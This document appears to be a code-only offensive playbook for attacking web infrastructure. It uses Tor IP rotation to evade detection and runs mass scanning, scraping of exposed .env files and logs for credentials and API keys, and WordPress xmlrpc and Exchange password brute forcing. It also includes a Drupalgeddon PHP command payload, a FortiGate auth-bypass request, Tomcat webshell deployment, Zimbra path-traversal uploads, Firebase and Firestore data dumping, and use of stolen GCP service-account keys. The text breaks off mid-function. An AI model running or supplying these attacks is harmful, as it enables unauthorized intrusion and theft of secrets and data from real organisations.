sudo apt install proxychains4 tor
# Config: /etc/proxychains4.conf → socks5 127.0.0.1 9050
proxychains4 curl ifconfig.me

git clone https://github.com/OkamiW/proxy-ns.git /tmp/proxy-ns
cd /tmp/proxy-ns
CGO_ENABLED=0 make
sudo cp proxy-ns /usr/local/bin/
# Forces all traffic through Tor using kernel network namespace
sudo proxy-ns curl -s ifconfig.me   # Single command
sudo proxy-ns $SHELL                 # Entire shell via Tor

# Enable ControlPort in /etc/tor/torrc
ControlPort 9051
CookieAuthentication 0

# Rotate
echo -e "AUTHENTICATE\r\nSIGNAL NEWNYM" | nc -w1 127.0.0.1 9051
sleep 2
sudo proxy-ns curl -s ifconfig.me  # New IP

import requests, random, time

UAS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15",
]

headers = {
    "User-Agent": random.choice(UAS),
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": random.choice(["pt-BR,pt;q=0.9", "en-US,en;q=0.5"]),
    "Accept-Encoding": "gzip, deflate",
    "DNT": "1",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
}

time.sleep(random.uniform(2, 6))  # Jitter between requests

# CT logs (crt.sh) — BEST SOURCE OF SUBDOMAINS
curl -s "https://crt.sh/?q=%25.$target&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

# Subdomain brute force (with rate control)
for sub in $(cat ~/wordlists/subdomains.txt); do
  host "$sub.$target" 2>/dev/null | grep "has address"
  sleep 0.1
done

# DNS zone transfer (rare, but always test)
for ns in $(host -t ns $target | cut -d" " -f4); do
  dig axfr @$ns $target
done

# Resolve all discovered subdomains
while IFS= read -r d; do
  ip=$(dig +short "$d" | head -1)
  [ -n "$ip" ] && echo "$d -> $ip"
done < subdomains.txt

# 1. Extract SANs directly from the certificate
openssl s_client -connect target.com:443 -servername target.com </dev/null 2>/dev/null | \
  openssl x509 -noout -ext subjectAltName | grep -oP 'DNS:[^,]+' | cut -d: -f2 | sort -u

# 2. Via Python (more complete)
python3 -c "
import ssl, socket, json
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with ctx.wrap_socket(socket.socket(), server_hostname='target.com') as s:
    s.connect(('target.com', 443))
    cert = s.getpeercert()
    for san in cert.get('subjectAltName', ()):
        if san[0] == 'DNS':
            print(san[1])
"

# 3. Extract full certificate metadata
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null | \
  openssl x509 -noout -text | grep -A1 "Subject Alternative Name"

import requests, re
from bs4 import BeautifulSoup

def google_dork_search(dork, num_results=50):
    """Searches using Google dork and extracts secret patterns."""
    headers = {"User-Agent": "Mozilla/5.0"}
    # Use Google Custom Search API or HTML results parsing
    # (direct Google scraping is blocked — use API)
    
# Patterns to extract from results
EXTRACT_PATTERNS = [
    (r'(?:DB_PASSWORD|DB_USERNAME|DB_HOST|DB_DATABASE)\s*=\s*(\S+)', 'DB Config'),
    (r'(?:APP_KEY|APP_SECRET)\s*=\s*(\S+)', 'App Key'),
    (r'(?:JWT_SECRET|JWT_KEY)\s*=\s*(\S+)', 'JWT Secret'),
    (r'(?:AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY)\s*=\s*(\S+)', 'AWS Key'),
    (r'(?:MAIL_PASSWORD|MAIL_USERNAME|SMTP_PASS)\s*=\s*(\S+)', 'Email Config'),
    (r'(?:REDIS_PASSWORD|REDIS_URL)\s*=\s*(\S+)', 'Redis Config'),
]

# Port statistics by ASN/ISP
shodan stats --facets port --limit 20 org:"ISP NAME"

# Search by specific banner
shodan search "Apache/2.4.62" --fields ip_str,port,org

# Search cameras in a range
shodan search --fields ip_str,port,org net:187.0.0.0/8 has_screenshot:true

# hunter.io for domain email patterns
# haveibeenpwned.com to check leaked emails
# LinkedIn + Google to map employees (firstname.lastname@target.com)

# Installation (Docker)
docker pull rustscan/rustscan:2.1.1
alias rustscan='docker run -it --rm --name rustscan rustscan/rustscan:2.1.1'

# Cargo
cargo install rustscan
export PATH="$HOME/.cargo/bin:$PATH"

# Fast scan of common ports
rustscan -a 192.168.1.1 -p 21,22,25,80,443,3306,5432,6379,8080,8443 --ulimit 5000

# Full scan + Nmap version enumeration
rustscan -a 192.168.1.1 -r 1-10000 -t 500 -b 1500 --ulimit 5000 -- -sC -sV

# /24 range scan
rustscan -a 192.168.1.0/24 --ulimit 5000 -g

# Greppable output (easy to parse)
rustscan -a target.com -r 1-10000 -g | grep "Open" | cut -d' ' -f2 > open_ports.txt

# Installation (from source)
cd masscan && make -j$(nproc)
sudo make install

# Fast scan of common ports in subnet
masscan 192.168.1.0/24 -p80,443,22,21,8080,8443,3306,5432 --rate 10000 -oL scan.txt

# Full scan of 1 host
masscan 187.62.129.47 -p1-65535 --rate 10000 -oJ full.json

# Banner grabbing (requires --source-ip)
masscan 10.0.0.0/8 -p80,443,22 --banners --source-ip 192.168.1.200 --rate 5000

# Sharding (4 machines, each scanning 25%)
masscan 0.0.0.0/0 -p80,443 --rate 100000 --shard 1/4 -oB shard1.bin

# JSON → IP:port
jq -r '.[] | "\(.ip):\(.ports[0].port)"' scan.json | sort -u

# Grepable → IP:port
grep "open" scan.grep | awk '{print $2":"$5}' | tr '/' ' ' | awk '{print $1":"$3}' | sort -u

# List → filter open
grep "^open" scan.txt | awk '{print $4":"$3}' | sort -u

# Full enumeration of 1 host
nmap -sV -sC -O -p- --reason target.com

# Stealth scan (slower, less detectable)
nmap -sS -Pn -n -T2 --max-retries 2 -p 1-1000 target.com

# OS detection
nmap -O target.com

# Specific NSE scripts
nmap --script http-enum,http-headers,ssl-enum-ciphers target.com

# 1. Fast masscan to find hosts + ports
masscan 10.0.0.0/24 -p1-65535 --rate 10000 -oJ masscan_out.json

# 2. Extract IP:port from open ones
jq -r '.[] | "\(.ip):\(.ports[0].port)"' masscan_out.json | sort -u > alive.txt

# 3. Deep nmap only on confirmed
while IFS=: read ip port; do
  nmap -sV -sC -p $port $ip -oN nmap_${ip}_${port}.txt
done < alive.txt

import requests

base = "https://target.com"
files = [
    # Environment & Config
    "/.env", "/.env.example", "/.env.production", "/.env.local",
    "/.env.backup", "/.env.bak", "/.env.old", "/.env.dev",
    "/.env.staging", "/config/.env",
    # Git
    "/.git/config", "/.git/HEAD", "/.git/index",
    "/.git/refs/heads/master", "/.git/logs/HEAD",
    # Laravel
    "/storage/oauth-private.key", "/storage/oauth-public.key",
    "/storage/logs/laravel.log", "/storage/logs/laravel-*.log",
    "/storage/framework/views/*",
    # Docker / Deploy
    "/Dockerfile", "/docker-compose.yml", "/docker-compose.override.yml",
    "/Procfile", "/.dockerignore",
    # Package Managers
    "/composer.json", "/composer.lock", "/package.json",
    "/package-lock.json", "/yarn.lock", "/Gemfile", "/Gemfile.lock",
    "/requirements.txt", "/Pipfile", "/Pipfile.lock",
    "/Cargo.toml", "/go.mod",
    # Frameworks
    "/artisan", "/server.php", "/web.config",
    "/wp-config.php", "/wp-config.php.bak", "/wp-config.php~",
    "/wp-content/debug.log", "/readme.html",
    # Source Maps (reconstruct source code!)
    "/assets/index-*.js.map", "/build/*.js.map",
    "/static/js/*.js.map", "/js/*.js.map",
    # Debug / Info
    "/phpinfo.php", "/info.php", "/test.php", "/debug",
    "/actuator", "/actuator/env", "/actuator/health",
    "/actuator/beans", "/actuator/mappings",
    "/swagger-ui.html", "/swagger-ui/index.html",
    "/v2/api-docs", "/v3/api-docs",
    "/graphql", "/graphiql", "/playground",
    # Panels
    "/admin", "/login", "/dashboard", "/panel",
    "/manager/html", "/host-manager/html",  # Tomcat
    # Misc
    "/robots.txt", "/sitemap.xml",
    "/.htaccess", "/nginx.conf", "/.well-known/security.txt",
    "/server-status", "/server-info",
    "/phpmyadmin", "/_phpmyadmin", "/pma",
]

for f in files:
    try:
        r = requests.get(f"{base}{f}", timeout=10, allow_redirects=False)
        if r.status_code == 200 and len(r.text) > 20:
            print(f"✅ {f} ({len(r.text)}b): {r.text[:150]}")
        elif r.status_code == 301 or r.status_code == 302:
            print(f"⚠️  {f} -> redirect {r.status_code} to {r.headers.get('Location')}")
        elif r.status_code == 401 or r.status_code == 403:
            print(f"🔒 {f} -> {r.status_code} (exists, blocked)")
    except Exception as e:
        pass

# Bypass variations for blocking rules
paths = [
    "/../.env", "/%2e%2e/.env", "/..%2f.env",
    "/public/../.env", "/storage/../.env", "/html/../.env",
    "/app/../.env", "/www/../.env",
    "/.%00.env", "/.env%00.html", "/.env%23",
]

# Test different Host headers on the server IP
hosts = [
    "target.com", "www.target.com", "admin.target.com",
    "api.target.com", "dev.target.com", "localhost",
    "127.0.0.1", "internal", "test"
]
for host in hosts:
    try:
        r = requests.get(f"http://SERVER_IP/.env", headers={"Host": host}, timeout=5)
        if "APP_KEY" in r.text or "DB_PASSWORD" in r.text or len(r.text) > 50:
            print(f"✅ .env exposed via Host: {host}")
    except:
        pass

import re

env_content = requests.get("http://target/.env", timeout=10).text

patterns = {
    "DB_HOST":      r"DB_HOST=(.+)",
    "DB_DATABASE":  r"DB_DATABASE=(.+)",
    "DB_USERNAME":  r"DB_USERNAME=(.+)",
    "DB_PASSWORD":  r"DB_PASSWORD=(.+)",
    "APP_KEY":      r"APP_KEY=(.+)",
    "APP_URL":      r"APP_URL=(.+)",
    "REDIS_HOST":   r"REDIS_HOST=(.+)",
    "REDIS_PASSWORD": r"REDIS_PASSWORD=(.+)",
    "MAIL_USERNAME": r"MAIL_USERNAME=(.+)",
    "MAIL_PASSWORD": r"MAIL_PASSWORD=(.+)",
    "AWS_KEY":      r"AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY)=(.+)",
    "SENDGRID":     r"SENDGRID_API_KEY=(.+)",
    "SENTRY":       r"SENTRY_DSN=(.+)",
    "JWT_SECRET":   r"JWT_SECRET=(.+)",
    "OAUTH":        r"OAUTH_(?:CLIENT_ID|CLIENT_SECRET)=(.+)",
    "FIREBASE":     r"FIREBASE_.+=(.+)",
    "OPENAI":       r"OPENAI_API_KEY=(.+)",
    "STRIPE":       r"STRIPE_(?:KEY|SECRET)=(.+)",
}

for name, pattern in patterns.items():
    matches = re.findall(pattern, env_content)
    for m in matches:
        print(f"🔑 {name}: {m.strip()}")

log = requests.get("http://target/storage/logs/laravel.log", timeout=30).text
# or /wp-content/debug.log, /var/log/apache2/error.log

# Extract emails
emails = set(re.findall(r'[\w.+-]+@[\w-]+\.[\w.-]+', log))
for e in sorted(emails):
    if not e.endswith(('.png','.jpg','.svg','.css','.js','.ico','.woff')):
        print(f"📧 {e}")

# Extract SQL queries
sqls = re.findall(r'(?:SQL:|Executing query:|query:)\s*(.*?)(?:\\|$)', log)
for s in set(sqls):
    if len(s) > 10:
        print(f"🗄️ {s[:200]}")

# Extract JWT tokens
jwts = re.findall(r'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}', log)
for j in set(jwts):
    print(f"🔑 JWT: {j[:80]}...")

# Extract stack traces (system paths)
paths = set(re.findall(r'(?:in |at )/(?:[a-zA-Z0-9_\-./]+\.(?:php|js|ts|py|rb))', log))
for p in sorted(paths):
    print(f"📁 {p}")

# Download the main HTML
curl -s "https://target.com" > index.html

# Extract JS bundle URLs
grep -oP 'src="[^"]*\.js"' index.html | cut -d'"' -f2 | while read js; do
  curl -s "https://target.com$js" > "$(basename $js)"
done

# Search for secrets in bundles
grep -rPn "(?:apiKey|api_key|API_KEY|token|secret|password|clientId|client_id|auth0|firebase|supabase)[\"']?\s*[:=]\s*[\"'][^\"']{8,}" *.js

# Check if source maps are exposed
curl -sI "https://target.com/assets/index-abc123.js.map"
curl -sI "https://target.com/static/js/main.12345.js.map"

# If they exist (HTTP 200), download and use:
# https://unminify.com or https://source-map-visualization.netlify.app

import re

patterns = {
    "Firebase API Key": r'apiKey:\s*["\']([A-Za-z0-9_\-]{30,})',
    "AWS Key": r'(?:AKIA|ASIA)[A-Z0-9]{16}',
    "Google API Key": r'AIza[0-9A-Za-z\-_]{35}',
    "JWT": r'eyJ[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}',
    "Mercado Pago": r'APP_USR-[a-f0-9]{8,}',
    "Stripe": r'(?:sk_live|pk_live)_[A-Za-z0-9]{24,}',
    "Auth0 Domain": r'(?:domain|auth0_domain):\s*["\']([^"\']+\.auth0\.com)',
    "Auth0 Client ID": r'(?:client_id|clientId|AUTH0_CLIENT_ID):\s*["\']([^"\']{20,})',
    "Supabase URL": r'(?:supabaseUrl|SUPABASE_URL):\s*["\'](https://[^"\']+\.supabase\.co)',
    "Supabase Key": r'(?:supabaseKey|anonKey|SUPABASE_ANON_KEY):\s*["\'](eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)',
    "Heroku": r'[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}',
    "Generic Secret": r'(?:secret|password|token|key):\s*["\']([^"\']{8,})',
}

# Version in HTML
curl -s "https://target.com" | grep -oP 'generator"[^>]+content="WordPress [0-9.]+'

# Active plugins (via HTML)
curl -s "https://target.com" | grep -oP "wp-content/plugins/[^/'\"]+"

# Themes
curl -s "https://target.com" | grep -oP "wp-content/themes/[^/'\"]+"

# Users via REST API
curl -s "https://target.com/wp-json/wp/v2/users"

# Users via author ID (test 1-20)
for id in $(seq 1 20); do
  curl -sI "https://target.com/?author=$id" | grep -i "location"
done

# Readme (exact version)
curl -s "https://target.com/readme.html" | grep -i "version"

# Check if active
curl -s -X POST "https://target.com/xmlrpc.php" -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# List ALL available methods (80+ on real sites)
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# Credential brute force via wp.getUsersBlogs (UNLIMITED if no rate limit)
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName>
      <params><param><value><string>admin</string></value></param>
      <param><value><string>PASSWORD</string></value></param></params></methodCall>'

# SSRF via pingback.ping (reach internal network)
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName>
      <params><param><value><string>http://INTERNAL_IP:PORT/</string></value></param>
      <param><value><string>https://target.com/post</string></value></param></params></methodCall>'

# Symptom: ALL auth attempts return HTML with login page
# Methods that do NOT require auth (system.listMethods, demo.sayHello, pingback.ping)
# still work and return normal XML!

# How to confirm:
# 1. Test method without auth (works → XMLRPC active)
# 2. Test method with auth (returns HTML login → SSO intercepting)
# 3. Check SSO redirect in response (Location header)

import requests

xml = '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>'
r = requests.post("https://target.com/xmlrpc.php", data=xml,
    headers={'Content-Type': 'text/xml'})
print(r.text)  # "<methodResponse><params><param>..." → WORKS

xml_auth = '''<?xml version="1.0"?>
<methodCall><methodName>wp.getUsersBlogs</methodName>
  <params><param><value><string>admin</string></value></param>
  <param><value><string>test</string></value></param></params></methodCall>'''
r = requests.post("https://target.com/xmlrpc.php", data=xml_auth,
    headers={'Content-Type': 'text/xml'})
# "<!DOCTYPE html><html>..." → SSO HTML! Auth intercepted

# Even when blocked, we can still:
# - Enumerate all 79+ methods (system.listMethods)
# - Test SSRF via pingback.ping (works without auth!)
# - Identify WordPress version via system.getCapabilities

# Exposed namespaces
curl -s "https://target.com/wp-json/" | jq '.namespaces'

# List pages
curl -s "https://target.com/wp-json/wp/v2/pages?per_page=100" | jq '.[] | {id,slug,link}'

# List posts
curl -s "https://target.com/wp-json/wp/v2/posts?per_page=100"

# List media (documents, PDFs)
curl -s "https://target.com/wp-json/wp/v2/media?per_page=100" | jq '.[] | {id,title:.title.rendered,url:.source_url}'

# Page revisions (full history)
curl -s "https://target.com/wp-json/wp/v2/pages/{id}/revisions"

# Custom post types
curl -s "https://target.com/wp-json/wp/v2/types"

# Taxonomies
curl -s "https://target.com/wp-json/wp/v2/taxonomies"

# Environments
/.env, /.env.example, /.env.production, /.env.local

# OAuth keys (forge JWT if exposed)
/storage/oauth-private.key
/storage/oauth-public.key

# Logs (tokens, queries, emails, stack traces)
/storage/logs/laravel.log
/storage/logs/laravel-2026-*.log

# Debug (if APP_DEBUG=true)
# Any 500 error returns the full stack trace with SQL queries

# Exposed Artisan commands
/artisan

# Laravel Telescope (debug dashboard)
/telescope/requests, /telescope/exceptions, /telescope/queries

# Laravel Horizon (queue dashboard)
/horizon/dashboard

# Routes (in production, rarely exposed)
/routes

# API docs
/docs, /api/documentation, /swagger

# Actuators — POWERFUL if exposed
/actuator/env           → Environment variables (DB, secrets!)
/actuator/health        → Status
/actuator/beans         → Loaded beans
/actuator/mappings      → ALL application endpoints
/actuator/heapdump      → Heap download (contains credentials in memory!)
/actuator/loggers       → Logging configuration
/actuator/metrics       → Internal metrics
/actuator/prometheus    → Prometheus metrics

# Swagger/OpenAPI
/swagger-ui.html, /swagger-ui/index.html
/v2/api-docs, /v3/api-docs

# H2 Console (RCE if exposed)
/h2-console

# Indicative header:
# X-Application-Context: application:prod:8080

# Config files
/web.config, /web.config.bak

# Trace (if enabled)
/trace.axd

# Elmah (error log)
/elmah.axd

# ViewState (MAC validation)
# If MAC disabled → deserialization RCE

# WebDAV
# If PUT enabled → webshell upload

# ASP.NET versions
# Server: Microsoft-IIS/10.0
# X-AspNet-Version: 4.0.30319
# X-Powered-By: ASP.NET

# 0. Identify Exchange
# Headers: X-OWA-Version, X-FEServer, X-AspNet-Version
# Ports: 443 (OWA/ECP/EWS), 25 (SMTP), 587 (SMTP TLS)

# 1. Default Exchange endpoints
for path in /owa/ /ecp/ /ews/Exchange.asmx /autodiscover/autodiscover.xml \
            /powershell/ /OAB/ /Microsoft-Server-ActiveSync/ /api/; do
  curl -skI "https://TARGET$path" | grep -iE "(HTTP|X-OWA|X-FE|X-Asp)"
done

# 2. Extract version from header
curl -skI "https://TARGET/owa/" | grep -i "X-OWA-Version"
# 15.1.2507.61 = Exchange 2016 CU23
# 15.2.1258.0  = Exchange 2019 CU14

# 3. Healthcheck (reveals internal server hostname!)
curl -sk "https://TARGET/OWA/healthcheck.htm"
# "200 OK<br/>ECBUE361.CNC.INTER" ← internal hostname + AD domain!
curl -sk "https://TARGET/ecp/healthcheck.htm"
# Same pattern

# 4. Detect authentication types
curl -skI "https://TARGET/ews/Exchange.asmx" | grep -i "www-auth"
# "Negotiate, NTLM, Basic realm=..." → Basic auth enabled!

import requests, base64

# Step 1: Send NTLM Type 1 (negotiation)
type1 = 'TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA='
r = requests.get("https://TARGET/ews/Exchange.asmx",
    headers={'Authorization': f'NTLM {type1}'})

# Step 2: Extract Type 2 (challenge) from WWW-Authenticate header
ntlm_b64 = r.headers['WWW-Authenticate'].split('NTLM ')[1]
ntlm_raw = base64.b64decode(ntlm_b64)

# Step 3: Parse Type 2 fields
sig = ntlm_raw[8:12]  # Must be \\x02\\x00\\x00\\x00 (msg type 2)

# Target Name (offset 12-20)
tgt_len = int.from_bytes(ntlm_raw[12:14], 'little')
tgt_off = int.from_bytes(ntlm_raw[16:20], 'little')
target_name = ntlm_raw[tgt_off:tgt_off+tgt_len].decode('utf-16-le')
print(f"Target Name: {target_name}")  # NetBIOS domain name

# Challenge (offset 24-32)
challenge = ntlm_raw[24:32]
print(f"NTLM Challenge: {challenge.hex()}")  # For offline cracking

# Target Info (AV_PAIRS) — contains gold!
ti_len = int.from_bytes(ntlm_raw[40:42], 'little')
ti_off = int.from_bytes(ntlm_raw[44:48], 'little')
target_info = ntlm_raw[ti_off:ti_off+ti_len]

av_pairs = {
    1: "NetBIOS Domain",
    2: "NetBIOS Computer",
    3: "DNS Domain",
    4: "DNS Computer",
    5: "DNS Tree",
    7: "Timestamp"
}
pos = 0
while pos + 4 <= len(target_info):
    av_id = int.from_bytes(target_info[pos:pos+2], 'little')
    av_len = int.from_bytes(target_info[pos+2:pos+4], 'little')
    if av_id == 0: break  # MsvAvEOL
    av_val = target_info[pos+4:pos+4+av_len]
    if av_id in av_pairs:
        val = av_val.decode('utf-16-le', errors='replace')
        print(f"{av_pairs[av_id]}: {val}")
    pos += 4 + av_len

# Test credentials via EWS Basic Auth
for email in admin@target.com user@target.com; do
  for pw in Senha2024 Senha2025; do
    code=$(curl -sk -u "$email:$pw" -o /dev/null -w "%{http_code}" \
      "https://TARGET/ews/Exchange.asmx")
    [ "$code" = "200" ] && echo "✅ $email:$pw"
  done
done

# Manager apps (deploy WAR = RCE)
/manager/html
/host-manager/html

# Default credentials
# admin:admin, tomcat:tomcat, admin:password
# both:both, manager:manager, role1:role1

# If PUT deploy is enabled:
PUT /manager/text/deploy?path=/shell HTTP/1.1
Content-Type: application/octet-stream
<WAR file bytes>

# 1. Identify version
curl -s "https://TARGET/" | grep -oP 'Drupal\.settings|drupal\.org'
curl -s "https://TARGET/CHANGELOG.txt"
# robots.txt confirms Drupal: /misc/, /modules/, /profiles/, /themes/

# 2. Critical Drupal endpoints
# update.php (DB update — access may allow SQL!)
curl -sI "https://TARGET/update.php"
curl -s "https://TARGET/update.php?op=info"

# install.php (if present = risk!)
curl -sI "https://TARGET/install.php?profile=default"

# xmlrpc.php (active XML-RPC = same risk as WordPress)
curl -s -X POST "https://TARGET/xmlrpc.php" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# cron.php (executes scheduled tasks)
curl -sI "https://TARGET/cron.php"

# 3. Main CVEs
# CVE-2018-7600 (Drupalgeddon 2) — RCE via render arrays (Drupal 6/7/8)
#   Payload: POST /user/register?element_parents=account/mail/%23value&ajax_form=1
#   + form_id=user_register_form&mail[#type]=markup&mail[#markup]=<?php system('id');?>
# CVE-2019-6340 — RCE via RESTful Web Services (Drupal 8)
# CVE-2014-3704 (Drupalgeddon 1) — SQLi (Drupal 7)

# 4. Sensitive files
curl -s "https://TARGET/sites/default/files/.htaccess"
curl -s "https://TARGET/sites/default/settings.php"  # DB credentials!
curl -s "https://TARGET/sites/all/libraries/"

# 1. Identify FortiGate
curl -skI "https://TARGET/" | grep -i "forti"
curl -sk "https://TARGET/remote/info"  # XML with config: salt, encmethod
curl -sk "https://TARGET/remote/login"  # Login page
curl -sk "https://TARGET/remote/fgt_lang?lang=en"  # 641KB language file → version!

# 2. CVEs by impact order
# CVE-2022-40684 — Auth bypass (CVSS 9.8)
#   curl -k -H "User-Agent: Node.js/12.0.0" \
#     -H "X-Forwarded-For: 127.0.0.1" \
#     "https://TARGET/api/v2/cmdb/system/admin" 
#   → Returns admin users WITHOUT authentication!

# CVE-2023-27997 — Heap overflow SSL-VPN (pre-auth RCE)
# CVE-2024-21887 — Command injection SSL-VPN (pre-auth RCE)
# CVE-2024-22024 — XXE → file read

# 3. Fingerprinting via headers
curl -skI "https://TARGET/remote/login" | grep -iE "(server|set-cookie|www-authenticate)"

# 1. Identify CKAN
curl -s "https://TARGET/" | grep -i "ckan\|dataset"
curl -s "https://TARGET/api/3/action/package_list"  # Lists all datasets

# 2. Enumerate organizations (who publishes data)
curl -s "https://TARGET/api/3/action/organization_list?all_fields=true" | \
  jq '.result[] | {name, package_count: .package_count}'

# 3. List datasets from an organization
curl -s "https://TARGET/api/3/action/package_search?q=organization:org-name&rows=1000" | \
  jq '.result.results[] | {name, title, resources: [.resources[].url]}'

# 4. Search for specific datasets
curl -s "https://TARGET/api/3/action/package_search?q=password" | jq '.result.count'

# 5. Tags, groups, licenses
curl -s "https://TARGET/api/3/action/tag_list"
curl -s "https://TARGET/api/3/action/group_list"

# 1. Identify Zimbra
curl -skI "https://TARGET/" | grep -i "zimbra"
# /zimbra/ path, /zimbraAdmin/, cookies ZM_TEST, JSESSIONID

# 2. Map endpoints
for path in / /robots.txt /service/soap /service/admin/soap \
            /service/upload /service/proxy /zimbraAdmin/ \
            /zimbra/ /public/ /m/ /js/Startup1_2_all.js; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET$path")
  echo "$path → $code"
done
# /service/upload = UploadServlet (POST 200 = active!)
# /service/proxy = proxy SSRF (401 = exists, requires auth)
# /public/ = public directory (403 = exists, blocked)
# /m/ = mobile client (302 = active, redirects)

import requests, re

soap_template = '''<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Body>
    <AuthRequest xmlns="urn:zimbraAccount">
      <account by="name">{user}</account>
      <password>wrongpass</password>
    </AuthRequest>
  </soap:Body>
</soap:Envelope>'''

for user in ['admin', 'root', 'compras', 'backup', 'info']:
    body = soap_template.format(user=user)
    r = requests.post("https://TARGET/service/soap", data=body,
        headers={'Content-Type': 'application/soap+xml'})
    fault = re.findall(r'<soap:Text>(.*?)</soap:Text>', r.text)

    if fault:
        msg = fault[0]
        if 'authentication failed' in msg:
            print(f"{user}: EXISTS (wrong password)")  # ← USER EXISTS
        elif 'maintenance mode' in msg:
            print(f"{user}: EXISTS (maintenance mode!)")  # ← EXISTS + maintenance mode
        elif 'no such account' in msg:
            print(f"{user}: DOES NOT EXIST")  # ← DOES NOT EXIST (rare, only on old versions)

# Test UploadServlet
curl -sk -X POST "https://TARGET/service/upload" \
  -F "file=@test.txt;filename=../../../opt/zimbra/data/tmp/evil.txt"

# Normal response (401): requires authentication
# Response 200 with attachmentId = functional, try path traversal

# Requires authentication cookie
curl -sk "https://TARGET/service/proxy?target=http://127.0.0.1:7071/zimbraAdmin/" \
  -H "Cookie: ZM_AUTH_TOKEN=..."

<Trace>qtp66233253-9975:1782161969125:0daaf6c77a00b8c8</Trace>
# qtp = Jetty thread pool (embedded server)
# internal timestamp in Unix epoch format

# 1. Startup JS bundles (1854KB+ with internal versions)
curl -sk "https://TARGET/js/Startup1_2_all.js" | grep -oP 'ZmSetting.*?'

# 2. Response headers
curl -skI "https://TARGET/" | grep -iE "(x-zimbra|server|set-cookie|zimbra)"

# 3. Admin error on port 443
curl -sk "https://TARGET/zimbraAdmin/"
# "Request not allowed on port 443" → Admin EXISTS on internal port

# Common company name variations
projects = ["empresa", "empresa-app", "empresa-prod", "empresa-dev",
            "empresa-1", "empresa-12345", "app-empresa", "admin-1a2b3"]
regions = ["us-central1", "us-east1", "southamerica-east1", "europe-west1"]

for proj in projects:
    for region in regions:
        url = f"https://{region}-{proj}.cloudfunctions.net/api/feed?limit=1"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code != 404 and len(r.text) > 20:
                print(f"✅ {url} -> {r.status_code} | {r.text[:100]}")
        except:
            pass

methods = {
    "GET": requests.get,
    "POST": lambda u: requests.post(u, json={"test": "test"}),
    "PUT": lambda u: requests.put(u, json={"test": "test"}),
    "DELETE": lambda u: requests.delete(u),
}

for method_name, method_func in methods.items():
    try:
        r = method_func(url)
        if r.status_code not in [401, 403, 404, 405]:
            print(f"⚠️  {method_name} {url} -> {r.status_code} (ACCEPTED!)")
        else:
            print(f"   {method_name} {url} -> {r.status_code}")
    except:
        pass

const {Storage} = require('@google-cloud/storage');
const storage = new Storage({credentials: sa});
const bucket = storage.bucket('gcf-sources-706681009423-us-central1');
const [files] = await bucket.getFiles();
for (const f of files.filter(f => f.name.endsWith('.zip'))) {
    await f.download({destination: '/tmp/' + f.name.replace(/\//g, '_')});
}

// Typical Firebase Config found in JS bundles:
const firebaseConfig = {
  apiKey: "AIzaSyC...",
  authDomain: "project.firebaseapp.com",
  projectId: "project-id",
  storageBucket: "project-id.appspot.com",
  messagingSenderId: "123456789",
  appId: "1:123456789:web:abcdef..."
};

curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@domain.com","password":"Senha123!","returnSecureToken":true}'

# Response includes:
# - idToken (Firebase JWT to use with APIs)
# - localId (user UID)
# - refreshToken

# List collections (requires SDK, not direct REST)
# But via REST API:

# Try to list documents from common collections
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?key=$API_KEY"
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores?key=$API_KEY"
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/conversations?key=$API_KEY"

# If security rules are misconfigured → FULL DUMP

# Test WRITE (PATCH)
curl -X PATCH "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores/{ID}?updateMask.fieldPaths=fieldName" \
  -H "Content-Type: application/json" \
  -d '{"fields":{"fieldName":{"stringValue":"test"}}}'

import json, base64, time, requests
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.backends import default_backend

def get_gcp_token(sa_key):
    """Generates a GCP access token from an SA key."""
    now = int(time.time())
    header = base64.urlsafe_b64encode(
        json.dumps({"alg":"RS256","typ":"JWT"}).encode()
    ).rstrip(b'=').decode()
    claims = {
        "iss": sa_key['client_email'],
        "scope": "https://www.googleapis.com/auth/cloud-platform",
        "aud": sa_key['token_uri'],
